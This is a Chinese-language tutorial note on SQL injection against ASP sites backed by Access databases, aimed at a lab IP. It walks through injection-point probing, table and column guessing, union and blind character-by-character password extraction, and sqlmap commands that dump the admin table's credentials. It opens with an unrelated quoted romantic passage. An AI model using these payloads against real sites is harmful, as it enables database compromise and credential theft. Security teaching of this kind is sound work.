某教程学习笔记(一):07、数据库漏洞(access注入)

钱钟书在《围成》里写到:“约着见一面,就能使见面的前后几天都沾着光,变成好日子”,是啊,只要能见你,雀跃的心情都会被拉得好长好长。感情就是这样,原则抵不过我乐意,你有你的打算,我有我的目的,因为我喜欢你,我所做的一切都是想跟你在一起。。。

---- 网易云热评

一、网站分类

1、静态网页

html或者htm是静态页面,不需要服务器解析其中的脚本

特点:不依赖数据库,灵活性差,制作、更新、维护麻烦,交互性差,功能受限制,安全,不存在数据库注入漏洞


2、动态页面

asp/aspx/php/jsp等,由相应的脚本引擎来解释执行

特点:以来数据库,灵活性好、交互性好、不安全,存在数据库注入漏洞


二、网站访问流程

某教程学习笔记(一):07、数据库漏洞(access注入)


三、漏洞产生原因

目标网址:www.aiyou.com/new.php?id=23

1、正常流程数据库返回给网站new页面id为23的信息

2、将参数值23修改为其他的sql语句

3、网站未对该指令进行检测

4、服务器执行了新的语句,并返回给网站

5、客户端根据返回的信息可以继续进一步注入


四、sql注入的危害

1、数据库信息泄露

2、网页被篡改

3、网页被挂马

4、数据库被恶意操作

5、服务器被远程控制

6、破快硬盘数据


五、access数据库

一般配合asp脚本使用,存储数据不能大于100M,只有一个数据库名称,可以创建多个表

1、数据库后缀:*.mdb


2、asp链接access数据库

<code>
<code>    dim conn,connstr,db/<code>
<code>    db="Your.mdb"/<code>
<code>    Set conn = Server.CreateObject("ADODB.Connection")/<code>
<code>    connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)/<code>
<code>    conn.Open connstr/<code>
<code>%>/<code>


3、常用打开工具EasyAccess

某教程学习笔记(一):07、数据库漏洞(access注入)


4、漏洞判断

目标:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513

判断注入点:

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513/ 报错,可能存在注入

某教程学习笔记(一):07、数据库漏洞(access注入)


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 返回正常

某教程学习笔记(一):07、数据库漏洞(access注入)

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 返回错误 存在注入

某教程学习笔记(一):07、数据库漏洞(access注入)

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exsits (select * from msysobjects) > 0 判断access数据库,根据错误提示在msysobjects上没有读取数据权限,说明表存在,从而知道是access数据库

某教程学习笔记(一):07、数据库漏洞(access注入)


5、查询access数据空中的表

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from user) 根据错误判断除灭有user表

某教程学习笔记(一):07、数据库漏洞(access注入)


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from admin) 正常返回,说明存在admin表

某教程学习笔记(一):07、数据库漏洞(access注入)


6、判断列名

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select password from admin),正常返回,说明存在列名password

某教程学习笔记(一):07、数据库漏洞(access注入)

常用用户名:name username user_name admin adminuser admin_user admin_username adminname

常用密码名:password pass userpass user_pass pwd userpwd adminpwd admin_pwd


7、判断表的列数

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 ,正常返回说明有22列,如果没有正常继续修改该数字

某教程学习笔记(一):07、数据库漏洞(access注入)


8、联合查询

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin,知道admin表一共有22列,所以联合查询需要输入1-22,页面只显示3和15,可以修改该两列获取想要的数值

某教程学习笔记(一):07、数据库漏洞(access注入)

某教程学习笔记(一):07、数据库漏洞(access注入)


六、另一种方法判断:

1、http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and select len(password) from admin)=16 判断密码的长度,返回正常,说明密码长度为16。

某教程学习笔记(一):07、数据库漏洞(access注入)


2、 http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97 判断密码的第一位,返回正常,说明密码的第一位是a

某教程学习笔记(一):07、数据库漏洞(access注入)

某教程学习笔记(一):07、数据库漏洞(access注入)

判断第二位,成功后修改该值,依次判断剩下的密码

某教程学习笔记(一):07、数据库漏洞(access注入)

七、sqlmap工具利用

目标地址:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513

1、测试是否存在漏洞

sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513"

某教程学习笔记(一):07、数据库漏洞(access注入)


2、获取表名

sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513" --tables

某教程学习笔记(一):07、数据库漏洞(access注入)


3、获取列名

sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513" --columns -T admin

某教程学习笔记(一):07、数据库漏洞(access注入)


4、获取指定列的内容

sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513" -T admin -C admin,password --dump

某教程学习笔记(一):07、数据库漏洞(access注入)


禁止非法,后果自负


分享到:


相關文章: